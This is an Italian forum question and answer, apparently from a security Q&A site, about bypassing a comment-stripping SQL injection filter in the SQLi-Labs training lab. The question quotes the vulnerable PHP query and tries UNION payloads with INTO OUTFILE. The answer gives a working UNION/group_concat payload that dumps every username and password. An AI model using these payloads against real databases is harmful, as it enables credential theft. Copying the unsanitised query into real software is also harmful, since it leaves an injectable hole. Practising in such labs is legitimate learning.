SQLi con filtro commenti: scarico del database

1

Il seguente filtro SQLi (MySQL) proviene da SQLi-Labs:

...
 $reg = "/#/"
 $reg1 ="/--/"
 $replace =""
 $id=preg_replace($reg,$replace,$id);
 $id=preg_replace($reg1,$replace,$id);
 ....
 $sql = "SELECT * FROM users where id='$id' LIMIT 0,1";

So che il filtro può essere eluso da qualcosa come 'or '1'='1 . Tuttavia, mi piacerebbe vedere se è possibile eseguire un dump di file out dell'intero database, quindi ho provato cose del tipo:

 ' union select null,username,password from users into outfile "/tmp/file"...

tuttavia a causa del ' LIMIT 0,1 alla fine ho problemi a capire come terminare il payload. Ho pensato di fare più query di unione, ad esempio:

 ' union all select null,username,password from users into outfile "/tmp/file" union all select null,username,password from users group by '

Tuttavia, ottengo un errore, perché credo che la parte into outfile debba essere l'ultima query. Ho anche pensato di utilizzare FIELDS TERMINATED BY ' , ma ora LIMIT 0,1 è a modo mio.

Esiste comunque un modo per eseguire un dump di outfile del database? È invece possibile scaricare il database attraverso l'errore?

    
posta dylan7 19.05.2016 - 05:22
fonte

1 risposta

0

Ho capito che la seguente iniezione ha scaricato il database (non attraverso l'outfile):

' union select null,group_concat(username),group_concat(password) from users group by '

    
risposta data 20.05.2016 - 04:08
fonte

Leggi altre domande sui tag